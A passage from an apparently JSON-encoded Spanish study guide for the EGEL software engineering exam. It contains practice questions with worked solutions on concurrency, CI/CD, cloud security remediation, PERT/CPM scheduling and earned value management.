multi-núcleo, ¿qué defecto crítico ocurrirá y cuál es la refactorización funcional y de concurrencia correcta?\n- A) El código es seguro y óptimo gracias al uso de `parallelStream()`; no requiere cambios.\n- B) Ocurre una Condición de Carrera (*Race Condition*) destructiva sobre la variable mutable compartida `saldoAcumuladoGlobal` debido a que la operación de adición compuesta no es atómica; se debe refactorizar eliminando el estado mutable global y utilizando la operación funcional pura `.mapToDouble().sum()` (reducción funcional libre de estado compartido).\n- C) Ocurre un desbordamiento de pila (*Stack Overflow*) inmediato debido a que `parallelStream()` utiliza recursión infinita.\n- D) El compilador rechazará el código con un error sintáctico porque Java prohíbe el uso de expresiones lambda con condicionales `if`.\n\n---\n\n### Reactivo 2 (Integración Testing + CI/CD + Persistencia)\nEn el pipeline de entrega continua de un sistema de cobranza, se detecta que las pruebas automatizadas tardan 1 hora y 45 minutos. La investigación revela que:\n1. Las pruebas del cálculo de comisiones se conectan a una base de datos MySQL real en red y ejecutan 1,500 inserciones y lecturas físicas en disco.\n2. Cada vez que se consulta la lista de deudores, el ORM dispara 1 consulta principal y 300 consultas secundarias para leer los teléfonos de contacto de cada deudor.\n3. El pipeline en el servidor de CI descarga versiones diferentes de librerías en cada ejecución porque el archivo `package-lock.json` fue agregado a `.gitignore`.\n\n¿Qué conjunto coordinado de decisiones de ingeniería resuelve integralmente estos tres problemas en el pipeline?\n- A) Desactivar las pruebas en CI, aumentar el tamaño del servidor MySQL y usar `git push --force`.\n- B) Sustituir las conexiones a MySQL en las pruebas de cálculo por dobles de prueba (Stubs/Mocks en memoria) según la Pirámide de Cohn; corregir el problema N+1 en el ORM aplicando `JOIN FETCH` en la consulta del repositorio; y confirmar obligatoriamente el archivo Lockfile en Git ejecutando instalaciones limpias y deterministas (`npm ci`).\n- C) Convertir la base de datos a MongoDB y reemplazar todas las pruebas unitarias por pruebas de interfaz en Selenium.\n- D) Cambiar el flujo de trabajo a cascada tradicional y ejecutar las pruebas manualmente una vez al mes.\n\n---\n\n### Reactivo 3 (Integración Plataformas + Seguridad + Resiliencia)\nUna entidad de microfinanciamiento despliega su aplicación en un clúster de Kubernetes en la nube. Durante una auditoría de ciberseguridad y alta disponibilidad, se identifican las siguientes tres vulnerabilidades críticas:\n1. La aplicación móvil almacena el secreto de cliente (`client_secret`) de OAuth 2.0 en el código fuente de la app para obtener tokens.\n2. El contenedor de la aplicación se ejecuta como usuario `root` y carece de límites declarativos de CPU y memoria en Kubernetes.\n3. Las llamadas al servicio externo de validación de identidad se realizan con reintentos síncronos inmediatos infinitos cada vez que el servicio externo se congela, colapsando los hilos del microservicio de solicitudes.\n\n¿Cuál es la propuesta de remediación arquitectónica integral que atiende rigurosamente estos tres hallazgos?\n- A) Migrar todo a un servidor físico local On-Premise sin contenedores ni autenticación.\n- B) Adoptar el flujo de OAuth 2.0 con Código de Autorización con clave PKCE para la app móvil eliminando el secreto estático; refactorizar el Dockerfile para ejecutarse como usuario no privilegiado (`USER nonroot`) y definir `resources.limits` de memoria y CPU en el Deployment de Kubernetes; e implementar el patrón Circuit Breaker con timeout y fallback para aislar las caídas del servicio externo.\n- C) Reemplazar los microservicios por un único script monolítico en PHP y abrir el puerto de base de datos a internet.\n- D) Desactivar el protocolo HTTPS y utilizar tokens en texto plano transmitidos por HTTP para reducir la sobrecarga de CPU.\n\n---\n\n## 4. Soluciones Razonadas del Gran Simulador del Bloque 3\n\n### Solución Reactivo 1\n- **Respuesta Correcta:** **B**\n- **Justificación:** La instrucción `saldoAcumuladoGlobal += interes;` equivale a leer, sumar y escribir en memoria. Al ejecutarse dentro de un `parallelStream()`, múltiples hilos de la JVM leen y escriben simultáneamente sobre la misma variable en el Heap sin sincronización ni atomicidad, perdiéndose incrementos por **Condición de Carrera (Race Condition)**. La solución funcional axiomática consiste en eliminar el estado mutable compartido y utilizar una reducción funcional pura:\n  ```java\n  double total = cuentas.parallelStream()\n      .filter(c -\u003e c.getSaldo() \u003e 0)\n      .mapToDouble(c -\u003e c.getSaldo() * 0.08)\n      .sum(); // Reducción paralela nativa thread-safe sin variables mutables\n  ```\n\n### Solución Reactivo 2\n- **Respuesta Correcta:** **B**\n- **Justificación:** La alternativa B ataca directamente la causa raíz de las tres ineficiencias detectadas:\n  1. Conectar pruebas de cálculo a una base de datos real en disco viola las propiedades F.I.R.S.T. (convierte pruebas unitarias rápidas en pruebas de integración lentas). El uso de **Stubs/Mocks** en memoria reduce el tiempo de ejecución a milisegundos.\n  2. La presencia de 301 consultas para 300 deudores es la manifestación de libro del **Problema de Consultas N+1** en el ORM, corregible con **`JOIN FETCH`**.\n  3. Ignorar el archivo de bloqueo (*Lockfile*) destruye la reproducibilidad del build en CI; confirmarlo en Git y usar `npm ci` garantiza builds deterministas e idénticos.\n\n### Solución Reactivo 3\n- **Respuesta Correcta:** **B**\n- **Justificación:** La alternativa B corrige sistemáticamente las tres fallas de seguridad y plataforma:\n  1. Las aplicaciones móviles son clientes públicos incapaces de proteger un `client_secret` estático. El flujo de **Authorization Code con PKCE** elimina el secreto y utiliza un desafío criptográfico efímero y seguro.\n  2. Ejecutar contenedores como usuario no root (`USER nonroot`) impide que un escape de contenedor comprometa el host, y declarar `resources.limits` evita que un contenedor sature el nodo físico con un ataque de denegación de servicio por memoria.\n  3. Sustituir reintentos infinitos por un **Circuit Breaker con Fallback** corta el tráfico hacia el servicio colapsado (*Fail-Fast*), evitando la saturación del pool de hilos del microservicio cliente.\n","title":"3.6 Repaso integrador y caso transversal de desarrollo: Bloque 3"}],"shortDescription":"Lenguajes de programación, paradigmas computacionales, automatización de pruebas y CI/CD, gestión avanzada de datos relacionales y NoSQL, y plataformas de ejecución en contenedores y nube con seguridad OWASP (Peso: 99 reactivos).","title":"Bloque 3. Desarrollo de Sistemas de Software"},{"children":[{"children":[{"children":[],"contentMd":"# Planificación Temporal con PERT/CPM, Ruta Crítica y Compresión de Cronograma\n\nEn la gestión de proyectos de software, el tiempo es el recurso más inflexible. Las demoras en la entrega de proyectos conllevan penalizaciones contractuales millonarias y pérdida de ventajas competitivas en el mercado. En el examen EGEL de Ingeniería de Software, la Subárea 4.1 (**Tiempos, costos, personas y riesgos - 18 reactivos**) evalúa con alta frecuencia matemática y analítica el método **PERT (Program Evaluation and Review Technique)**, el método de la **Ruta Crítica (CPM - Critical Path Method)**, el cálculo probabilístico de varianza, la identificación de holguras y las técnicas de compresión de cronograma (**Crashing vs Fast-Tracking**).\n\n---\n\n## 1. El Método PERT: Estimación Probabilística por Tres Puntos\n\nCuando la duración de las tareas de desarrollo de software es incierta (como ocurre en la investigación y desarrollo de nuevas tecnologías), la estimación de un solo valor puntual suele ser engañosa. PERT aborda la incertidumbre modelando la duración de cada actividad mediante una **distribución de probabilidad Beta**, solicitando tres estimaciones temporales:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        LAS TRES ESTIMACIONES PERT                      │\n│                                                                        │\n│   • Duración Optimista (O / a): El mejor escenario posible donde       │\n│     absolutamente todo sale a la perfección sin ningún imprevisto.     │\n│                                                                        │\n│   • Duración Más Probable (M / m): El tiempo realista y habitual que   │\n│     toma la tarea bajo condiciones normales de trabajo.                │\n│                                                                        │\n│   • Duración Pesimista (P / b): El peor escenario posible donde todo   │\n│     lo que puede salir mal, sale mal (sin considerar catástrofes).     │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Fórmulas Matemáticas Clave en el EGEL\n\n1. **Tiempo Esperado de la Actividad ($T_e$ o $\\mu$):**\n   Es el promedio ponderado que otorga un peso de $4$ a la estimación más probable:\n   $$T_e = \\frac{O + 4M + P}{6}$$\n\n2. **Desviación Estándar de la Actividad ($\\sigma$):**\n   Mide la dispersión o nivel de incertidumbre de la estimación:\n   $$\\sigma = \\frac{P - O}{6}$$\n\n3. **Varianza de la Actividad ($\\sigma^2$):**\n   El cuadrado de la desviación estándar (la varianza es aditiva a lo largo de la ruta crítica):\n   $$\\sigma^2 = \\left(\\frac{P - O}{6}\\right)^2$$\n\n---\n\n## 2. El Método de la Ruta Crítica (CPM) y Redes de Actividades\n\nEl **Método del Camino Crítico (CPM)** es una técnica determinista que analiza la secuencia de actividades en un diagrama de red (Activity on Node - AON) para calcular la duración mínima teórica del proyecto completo y la flexibilidad temporal de cada actividad.\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                     ANATOMÍA DE UN NODO CPM (AON)                      │\n│                                                                        │\n│        ┌──────────────┬──────────────┬──────────────┐                  │\n│        │  ES (Inicio  │  Duración    │  EF (Fin     │                  │\n│        │   Temprano)  │     (Te)     │   Temprano)  │                  │\n│        ├──────────────┼──────────────┼──────────────┤                  │\n│        │              │  ACTIVIDAD   │              │                  │\n│        │              │  (Nombre/ID) │              │                  │\n│        ├──────────────┼──────────────┼──────────────┤                  │\n│        │  LS (Inicio  │   Holgura    │  LF (Fin     │                  │\n│        │   Tardío)    │  Total (H)   │   Tardío)    │                  │\n│        └──────────────┴──────────────┴──────────────┘                  │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Pasos Operativos de Cálculo en Red\n\n#### 1. Paso Hacia Adelante (Forward Pass) $\\longrightarrow$ Determina Inicios y Fines Tempranos\n- Para cada actividad inicial: $\\text{ES} = 0$.\n- Fin Temprano: $\\text{EF} = \\text{ES} + \\text{Duración}$.\n- Para actividades sucesoras: el $\\text{ES}$ de una tarea es el **MÁXIMO** entre los $\\text{EF}$ de todas sus tareas predecesoras inmediatas:\n  $$\\text{ES}_{\\text{sucesor}} = \\max(\\text{EF}_{\\text{predecesores}})$$\n\n#### 2. Paso Hacia Atrás (Backward Pass) $\\longleftarrow$ Determina Inicios y Fines Tardíos\n- Para la última actividad: $\\text{LF} = \\text{EF}_{\\text{proyecto}}$.\n- Inicio Tardío: $\\text{LS} = \\text{LF} - \\text{Duración}$.\n- Para actividades predecesoras: el $\\text{LF}$ de una tarea es el **MÍNIMO** entre los $\\text{LS}$ de todos sus sucesores inmediatos:\n  $$\\text{LF}_{\\text{predecesor}} = \\min(\\text{LS}_{\\text{sucesores}})$$\n\n#### 3. Cálculo de la Holgura Total (Float / Slack)\nLa holgura representa el tiempo que una actividad puede retrasarse sin demorar la fecha final del proyecto completo:\n$$\\text{Holgura Total } (H) = \\text{LS} - \\text{ES} = \\text{LF} - \\text{EF}$$\n\n---\n\n## 3. Identificación y Propiedades de la Ruta Crítica\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        LA RUTA CRÍTICA                                 │\n│                                                                        │\n│   • Definición: Es la secuencia continua de actividades dependientes   │\n│     que conecta el inicio con el fin del proyecto y posee la           │\n│     DURACIÓN TOTAL MÁS LARGA de toda la red.                           │\n│                                                                        │\n│   • Propiedad Matemática Fundamental:                                  │\n│     ¡TODAS LAS ACTIVIDADES DE LA RUTA CRÍTICA TIENEN HOLGURA CERO!    │\n│     (Holgura = 0; LS = ES y LF = EF).                                  │\n│                                                                        │\n│   • Implicación de Gestión de Proyectos:                               │\n│     Cualquier retraso de tan solo 1 día en CUALQUIER tarea de la ruta  │\n│     crítica retrasará en 1 día la entrega final de todo el proyecto.   │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Cálculo de la Probabilidad de Cumplimiento del Proyecto\nSi la ruta crítica está formada por las actividades $\\{A_1, A_2, \\dots, A_k\\}$:\n1. **Duración Esperada del Proyecto ($T_P$):**\n   $$T_P = \\sum_{i=1}^k T_{e(A_i)}$$\n2. **Varianza de la Ruta Crítica ($\\sigma_P^2$):**\n   $$\\sigma_P^2 = \\sum_{i=1}^k \\sigma_{A_i}^2 \\quad \\implies \\quad \\sigma_P = \\sqrt{\\sum_{i=1}^k \\sigma_{A_i}^2}$$\n3. **Puntuación $Z$ para una Fecha Límite Deseada ($D$):**\n   $$Z = \\frac{D - T_P}{\\sigma_P}$$\n   *(Utilizando la tabla de la distribución normal estándar $\\mathcal{N}(0,1)$, el valor $Z$ indica la probabilidad exacta de terminar el proyecto antes de la fecha $D$).*\n\n---\n\n## 4. Técnicas de Compresión de Cronograma: Crashing vs Fast-Tracking\n\nCuando el proyecto sufre un retraso respecto a la fecha contractual comprometida, el director de proyecto debe aplicar técnicas formales de compresión (*Schedule Compression*) sobre las actividades de la **ruta crítica** (comprimir tareas que no están en la ruta crítica no reduce la duración total del proyecto):\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        CRASHING VS FAST-TRACKING                       │\n│                                                                        │\n│   A. CRASHING (Intensificación / Compresión de Costo):                 │\n│      • Agrega recursos adicionales a tareas críticas.                  │\n│      • Ejemplo: Pagar horas extra a desarrolladores o incorporar       │\n│        especialistas senior para terminar antes.                       │\n│      • Trade-off: DISMINUYE el tiempo, pero AUMENTA EL COSTO.          │\n│                                                                        │\n│   B. FAST-TRACKING (Ejecución Rápida / Paralelización):                │\n│      • Ejecuta tareas en PARALELO que originalmente estaban            │\n│        planificadas para ejecutarse en secuencia secuencial.           │\n│      • Ejemplo: Comenzar a programar el backend mientras el diseño de  │\n│        interfaces aún se encuentra en revisión intermedia.             │\n│      • Trade-off: Cero costo adicional directo, pero AUMENTA EL RIESGO │\n│        crítico de reproceso (rework) y defectos colaterales.           │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n| Dimensión Técnica | Intensificación (*Crashing*) | Ejecución Rápida (*Fast-Tracking*) |\n| :--- | :--- | :--- |\n| **Mecanismo Operativo** | Asignación de recursos extra (horas extra, más personal, máquinas más veloces). | Modificación de dependencias para ejecutar fases en paralelo. |\n| **Impacto Principal en el Presupuesto** | **Incrementa directamente los costos del proyecto.** | Costo directo nulo o mínimo en el corto plazo. |\n| **Impacto Principal en la Calidad/Riesgo** | Riesgo moderado (curva de aprendizaje de nuevos integrantes). | **Alto riesgo de reproceso (*Rework*) y regresiones.** |\n| **Regla de Selección en el EGEL** | Seleccionar cuando se dispone de **presupuesto financiero flexible** y se requiere certidumbre sin alterar la lógica de entrega. | Seleccionar cuando el presupuesto es **estricto e inflexible** pero se acepta asumir mayor riesgo de gestión. |\n\n---\n\n## 5. Escenarios de Decisión Profesional\n\n### Escenario A: Estimación Temporal de un Módulo Criptográfico Incierto\n- **Problema:** Un equipo estima la duración para implementar un módulo de firma digital con curvas elípticas.\n  - Estimación optimista: $O = 4$ días.\n  - Estimación más probable: $M = 7$ días.\n  - Estimación pesimista: $P = 16$ días.\n- **Cálculo PERT:**\n  $$T_e = \\frac{4 + 4(7) + 16}{6} = \\frac{4 + 28 + 16}{6} = \\frac{48}{6} = 8.0 \\text{ días}$$\n  $$\\text{Desviación Estándar } \\sigma = \\frac{16 - 4}{6} = \\frac{12}{6} = 2.0 \\text{ días}$$\n  $$\\text{Varianza } \\sigma^2 = (2.0)^2 = 4.0 \\text{ días}^2$$\n- **Interpretación:** La duración esperada es de **8 días**, con una desviación estándar de **2 días**. Según la regla empírica normal ($68.2\\%$ de probabilidad entre $\\pm 1\\sigma$), existe un 68.2% de probabilidad de que la tarea tarde entre 6 y 10 días, y un 95.4% de probabilidad de que termine entre 4 y 12 días ($T_e \\pm 2\\sigma$).\n\n### Escenario B: Proyecto Crítico Desfasado ante un Lanzamiento Regulatorio\n- **Problema:** Una plataforma de facturación electrónica con fecha legal inamovible fijada por el gobierno sufre un retraso de 2 semanas en la ruta crítica. El cliente cuenta con presupuesto asignado no ejecutado pero no puede tolerar bajo ninguna circunstancia rehacer módulos ni asumir riesgos de reproceso.\n- **Decisión de Ingeniería:** **Aplicar Crashing (Intensificación)** sobre las actividades críticas con menor costo por unidad de tiempo comprimida ($Cost Slope$). No debe aplicarse Fast-Tracking porque el riesgo de reproceso pondría en peligro el cumplimiento normativo.\n\n---\n\n## 6. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Intentar comprimir el cronograma acelerando tareas no críticas.**\n\u003e Si una tarea tiene una holgura de 10 días (no está en la ruta crítica), invertir dinero o recursos en acortar su duración **no reduce en un solo día la duración total del proyecto**. La compresión (Crashing o Fast-Tracking) debe aplicarse **únicamente sobre actividades que pertenecen a la ruta crítica**.\n\n\u003e **Trampa 2: Sumar las desviaciones estándar en lugar de las varianzas.**\n\u003e Para calcular la desviación estándar total de la ruta crítica, **está matemáticamente prohibido sumar directamente las desviaciones estándar ($\\sum \\sigma$)**. Se deben sumar las **varianzas** ($\\sum \\sigma^2$) y finalmente extraer la raíz cuadrada: $\\sigma_{\\text{total}} = \\sqrt{\\sum \\sigma^2}$.\n\n\u003e **Trampa 3: Confundir holgura libre con holgura total.**\n\u003e - **Holgura Total:** Tiempo que una actividad puede retrasarse sin demorar la **fecha de término del proyecto global** ($\\text{LF} - \\text{EF}$).\n\u003e - **Holgura Libre:** Tiempo que una actividad puede retrasarse sin demorar el **inicio temprano de su sucesora inmediata** ($\\text{ES}_{\\text{sucesor}} - \\text{EF}_{\\text{actual}}$).\n\n---\n\n## 7. Autoevaluación Formativa\n\n### Pregunta 1\nPara el desarrollo del módulo de liquidaciones bancarias de un sistema, el equipo de ingeniería determina las siguientes tres estimaciones temporales en días hábiles: estimación optimista $a = 6$, estimación más probable $m = 9$, y estimación pesimista $b = 18$. Utilizando la distribución Beta del método PERT, ¿cuál es el tiempo esperado ($T_e$) y la varianza ($\\sigma^2$) de esta actividad?\n- A) Tiempo esperado $T_e = 11.0$ días y varianza $\\sigma^2 = 2.0$ días$^2$.\n- B) Tiempo esperado $T_e = 10.0$ días y varianza $\\sigma^2 = 4.0$ días$^2$.\n- C) Tiempo esperado $T_e = 9.0$ días y varianza $\\sigma^2 = 12.0$ días$^2$.\n- D) Tiempo esperado $T_e = 10.0$ días y varianza $\\sigma^2 = 2.0$ días$^2$.\n\n### Pregunta 2\nUn proyecto de software bancario se encuentra retrasado 3 semanas respecto al cronograma comprometido. El comité de dirección exige recuperar el tiempo perdido sin incurrir en costos financieros adicionales ni contratar personal externo, aceptando asumir el riesgo de reproceso en caso de que surjan inconsistencias. ¿Qué técnica de compresión de cronograma debe implementar el director de proyecto?\n- A) Compresión por Intensificación (*Crashing*).\n- B) Ejecución Rápida (*Fast-Tracking*), paralelizando actividades de la ruta crítica que originalmente estaban programadas de forma secuencial.\n- C) Reasignar las actividades de la ruta crítica a la holgura libre.\n- D) Modificar la estimación pesimista en la fórmula PERT para reducir artificialmente el tiempo esperado.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 4.1.7 de esta subárea).*\n","title":"4.1.1 Redes de actividades, PERT, CPM y cálculo de ruta crítica"},{"children":[],"contentMd":"# Estimación de Esfuerzo, Costos de Software y Gestión del Valor Ganado (EVM)\n\nEstimar con precisión el esfuerzo, duración y presupuesto de un sistema de software es uno de los mayores desafíos de la ingeniería. Igualmente crítico es monitorizar objetivamente el avance real del proyecto durante su ejecución para detectar desviaciones antes de que se conviertan en pérdidas irreparables. En el examen EGEL de Ingeniería de Software, los reactivos evalúan los métodos de estimación algorítmicos y paramétricos (COCOMO, Puntos de Función), la estimación ágil (Puntos de Historia y Planning Poker) y, con altísima frecuencia cuantitativa, las fórmulas e interpretaciones de la **Gestión del Valor Ganado (*Earned Value Management* - EVM)**.\n\n---\n\n## 1. Métodos de Estimación de Esfuerzo y Tamaño de Software\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        TÉCNICAS DE ESTIMACIÓN                          │\n│                                                                        │\n│   A. MODELO PARAMÉTRICO COCOMO (Barry Boehm):                          │\n│      Basado en miles de líneas de código fuente (KLOC).                │\n│      Esfuerzo = a * (KLOC)^b [Personas-Mes]                            │\n│      Modos: Orgánico (pequeño/estable), Semiacoplado, Embebido (rígido)│\n│                                                                        │\n│   B. ANÁLISIS DE PUNTOS DE FUNCIÓN (FPA - Albrecht / IFPUG):           │\n│      Independiente del lenguaje; mide funcionalidad entregada:         │\n│      • Transaccionales: EI (Entradas), EO (Salidas), EQ (Consultas).   │\n│      • Datos: ILF (Archivos Lógicos Internos), EIF (Interfaces Ext).   │\n│                                                                        │\n│   C. ESTIMACIÓN ÁGIL POR CONSENSO (Story Points / Planning Poker):     │\n│      Mide esfuerzo relativo, complejidad e incertidumbre usando la     │\n│      secuencia de Fibonacci modificada (1, 2, 3, 5, 8, 13, 20...).     │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 2. Gestión del Valor Ganado (EVM - Earned Value Management)\n\nEVM es el estándar metodológico internacional (ANSI/EIA-748 y PMBOK) que integra de forma simultánea el **alcance, el cronograma y los costos** del proyecto. Permite responder objetivamente a tres preguntas:\n1. *¿Cuánto trabajo deberíamos haber completado a la fecha?* (Planned Value)\n2. *¿Cuánto trabajo realmente hemos completado a la fecha?* (Earned Value)\n3. *¿Cuánto dinero hemos gastado realmente para completar ese trabajo?* (Actual Cost)\n\n### Los Cuatro Parámetros Fundamentales de Entrada\n\n| Sigla | Nombre en Español / Inglés | Definición Formal de Ingeniería | Fórmula de Cálculo |\n| :---: | :--- | :--- | :---: |\n| **BAC** | Presupuesto a la Conclusión (*Budget at Completion*) | El presupuesto total autorizado planificado para todo el proyecto. | Presupuesto Total de la Línea Base |\n| **PV** | Valor Planificado (*Planned Value*) | El valor del trabajo que **estaba programado** para completarse hasta la fecha de corte actual. | $\\% \\text{ Planificado} \\times \\text{BAC}$ |\n| **EV** | Valor Ganado (*Earned Value*) | El valor monetario del trabajo **realmente completado y entregado** hasta la fecha de corte. | $\\% \\text{ Real Completado} \\times \\text{BAC}$ |\n| **AC** | Costo Real (*Actual Cost*) | El costo financiero real en el que se ha incurrido para ejecutar el trabajo completado hasta la fecha. | Total de gastos reales registrados |\n\n---\n\n## 3. Variaciones e Índices de Desempeño EVM\n\nEn el examen EGEL, las preguntas suelen proporcionar los valores numéricos de $PV, EV, AC$ y solicitar el cálculo e interpretación de las variaciones y de los índices:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        VARIACIONES (DIFERENCIAS ABSOLUTAS)             │\n│                                                                        │\n│   VARIACIÓN DE COSTO (CV):         CV = EV - AC                        │\n│   • CV \u003e 0 (+): Bajo presupuesto / AHORRO (Favorable).                 │\n│   • CV = 0: En presupuesto exacto.                                     │\n│   • CV \u003c 0 (-): SOBRECOSTO / Pérdida financiera (Desfavorable).        │\n│                                                                        │\n│   VARIACIÓN DE CRONOGRAMA (SV):    SV = EV - PV                        │\n│   • SV \u003e 0 (+): ADELANTADO respecto al cronograma (Favorable).         │\n│   • SV = 0: En tiempo exacto según el plan.                           │\n│   • SV \u003c 0 (-): RETRASADO respecto al cronograma (Desfavorable).       │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        ÍNDICES DE RENDIMIENTO (RATIOS RELATIVOS)       │\n│                                                                        │\n│   ÍNDICE DE RENDIMIENTO DEL COSTO (CPI):        CPI = EV / AC          │\n│   • CPI \u003e 1.0: Eficiente en costos (Cada $1 gastado rinde más de $1).  │\n│   • CPI = 1.0: Rendimiento exacto según presupuesto.                   │\n│   • CPI \u003c 1.0: Ineficiente en costos (Cada $1 gastado rinde menos).    │\n│                                                                        │\n│   ÍNDICE DE RENDIMIENTO DEL CRONOGRAMA (SPI):   SPI = EV / PV          │\n│   • SPI \u003e 1.0: Eficiente en tiempo (Avanza más rápido de lo previsto). │\n│   • SPI = 1.0: Avanza al ritmo exacto planificado.                     │\n│   • SPI \u003c 1.0: Lento (Avanza a menor ritmo; proyecto demorado).        │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Matriz de Diagnóstico Rápido de Cuadrantes ($CPI \\times SPI$)\n\n| Estado del Proyecto | $CPI$ (Costo) | $SPI$ (Cronograma) | Diagnóstico Ejecutivo | Acción Requerida |\n| :---: | :---: | :---: | :--- | :--- |\n| **Cuadrante 1** | $CPI \u003e 1.0$ | $SPI \u003e 1.0$ | **El proyecto ideal:** Adelantado en tiempo y gastando menos dinero del presupuestado. | Mantener las prácticas actuales y documentar lecciones aprendidas. |\n| **Cuadrante 2** | $CPI \u003c 1.0$ | $SPI \u003e 1.0$ | **Adelantado pero con sobrecosto:** El proyecto va más rápido de lo previsto, pero está consumiendo más dinero del autorizado (posible uso excesivo de horas extra o *Crashing*). | Controlar y auditar gastos para no agotar el presupuesto antes de finalizar. |\n| **Cuadrante 3** | $CPI \u003e 1.0$ | $SPI \u003c 1.0$ | **Retrasado pero con ahorro:** El proyecto avanza más lento de lo programado, pero está gastando menos dinero del estimado. | Oportunidad de aplicar recursos financieros ahorrados (*Crashing*) para acelerar la ruta crítica. |\n| **Cuadrante 4** | $CPI \u003c 1.0$ | $SPI \u003c 1.0$ | **El peor escenario posible:** Retrasado en tiempo y simultáneamente con sobrecosto financiero. Proyecto en crisis grave. | Intervención inmediata, replanificación y recorte de alcance o renegociación con stakeholders. |\n\n---\n\n## 4. Fórmulas de Pronóstico y Proyección de Cierre\n\nEVM permite predecir matemáticamente cuánto dinero costará el proyecto al concluir y cuánto presupuesto adicional se necesita:\n\n1. **Estimación a la Conclusión ($EAC$ - Estimate at Completion):**\n   Si se asume que el proyecto continuará operando con la misma eficiencia de costo actual ($CPI$ constante hasta el final):\n   $$EAC = \\frac{BAC}{CPI}$$\n2. **Estimación hasta la Conclusión ($ETC$ - Estimate to Complete):**\n   ¿Cuánto dinero adicional se necesita a partir de hoy para terminar el proyecto?:\n   $$ETC = EAC - AC$$\n3. **Variación a la Conclusión ($VAC$ - Variance at Completion):**\n   ¿Terminaremos por encima o por debajo del presupuesto original?:\n   $$VAC = BAC - EAC$$\n\n---\n\n## 5. Demostración Matemática Completa de Examen\n\n### Caso Práctico\nUn proyecto de desarrollo de un portal de e-commerce tiene un presupuesto total autorizado **$BAC = \\$120,000\\text{ USD}$** y una duración de 6 meses (un avance planificado de $\\$20,000$ por mes).\nAl finalizar el **tercer mes**, el informe de seguimiento muestra:\n- El equipo ha completado realmente el **$40\\%$ del trabajo total**.\n- La contabilidad reporta que se han gastado **$\\$60,000\\text{ USD}$**.\n\n### Paso a Paso de Resolución:\n1. **Calcular Parámetros Base:**\n   - $\\text{BAC} = \\$120,000$\n   - $\\text{PV} = 3 \\text{ meses} \\times \\$20,000 = \\$60,000$ (o $50\\% \\times \\$120,000 = \\$60,000$)\n   - $\\text{EV} = 40\\% \\times \\$120,000 = \\$48,000$\n   - $\\text{AC} = \\$60,000$\n2. **Calcular Variaciones:**\n   - $\\text{CV} = \\text{EV} - \\text{AC} = 48,000 - 60,000 = -\\$12,000$ *(Negativo: Sobrecosto de \\$12,000)*\n   - $\\text{SV} = \\text{EV} - \\text{PV} = 48,000 - 60,000 = -\\$12,000$ *(Negativo: Retrasado respecto al plan)*\n3. **Calcular Índices de Desempeño:**\n   - $\\text{CPI} = \\frac{\\text{EV}}{\\text{AC}} = \\frac{48,000}{60,000} = \\mathbf{0.80}$ *(Por cada dólar gastado solo se obtienen 80 centavos de valor real)*\n   - $\\text{SPI} = \\frac{\\text{EV}}{\\text{PV}} = \\frac{48,000}{60,000} = \\mathbf{0.80}$ *(El proyecto avanza a solo el 80% de la velocidad prevista)*\n4. **Pronosticar Costo Final:**\n   - $\\text{EAC} = \\frac{\\text{BAC}}{\\text{CPI}} = \\frac{120,000}{0.80} = \\mathbf{\\$150,000\\text{ USD}}$\n   - $\\text{VAC} = \\text{BAC} - \\text{EAC} = 120,000 - 150,000 = -\\$30,000\\text{ USD}$\n- **Conclusión Ejecutiva:** Si el proyecto no corrige su rumbo, terminará costando $\\$150,000$ (un sobrecosto final de $\\$30,000$) y demorará significativamente más tiempo del previsto.\n\n---\n\n## 6. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Confundir las restas de las variaciones.**\n\u003e Recuerda siempre la regla mnemotécnica: **En las variaciones, el Valor Ganado ($\\text{EV}$) SIEMPRE va primero**:\n\u003e - $\\text{CV} = \\mathbf{EV} - \\text{AC}$\n\u003e - $\\text{SV} = \\mathbf{EV} - \\text{PV}$\n\u003e Invertir el orden cambiará el signo algebraico, transformando un retraso en un falso adelanto.\n\n\u003e **Trampa 2: Creer que un $SV = 0$ al final del proyecto significa que no hubo retrasos.**\n\u003e Cuando un proyecto finaliza (se completa el 100% del alcance), $\\text{EV} = \\text{BAC}$ y $\\text{PV} = \\text{BAC}$, por lo que $\\text{SV} = \\text{EV} - \\text{PV} = 0$, aun si el proyecto terminó con tres años de retraso. Para evaluar la desviación temporal real hacia el final de un proyecto se utiliza el cronograma ganado (*Earned Schedule*) o el análisis de la fecha de entrega real.\n\n\u003e **Trampa 3: Usar líneas de código (LOC) para estimar esfuerzo en metodologías ágiles.**\n\u003e En Scrum y metodologías ágiles no se utilizan líneas de código; se utilizan **Puntos de Historia (*Story Points*)** mediante consenso con Planning Poker, midiendo esfuerzo relativo y complejidad percibida, desacoplado de horas exactas.\n\n---\n\n## 7. Autoevaluación Formativa\n\n### Pregunta 1\nUn proyecto de software tiene un presupuesto total asignado de $\\$200,000\\text{ USD}$. A la fecha actual de revisión, el valor planificado es de $\\$100,000\\text{ USD}$, el valor ganado es de $\\$80,000\\text{ USD}$ y el costo real es de $\\$100,000\\text{ USD}$. ¿Cuáles son los valores del Índice de Desempeño del Costo ($CPI$) y del Índice de Desempeño del Cronograma ($SPI$), y cuál es la interpretación correcta del estado del proyecto?\n- A) $CPI = 1.25$ y $SPI = 1.25$; el proyecto está adelantado y gastando menos de lo presupuestado.\n- B) $CPI = 0.80$ y $SPI = 0.80$; el proyecto presenta sobrecosto financiero y se encuentra retrasado respecto al cronograma planificado.\n- C) $CPI = 1.00$ y $SPI = 0.80$; el proyecto está en costo exacto pero retrasado.\n- D) $CPI = 0.80$ y $SPI = 1.25$; el proyecto está adelantado en tiempo pero con sobrecosto.\n\n### Pregunta 2\nDurante una sesión de estimación en un equipo que utiliza Scrum, los desarrolladores discuten el tamaño de una historia de usuario compleja. 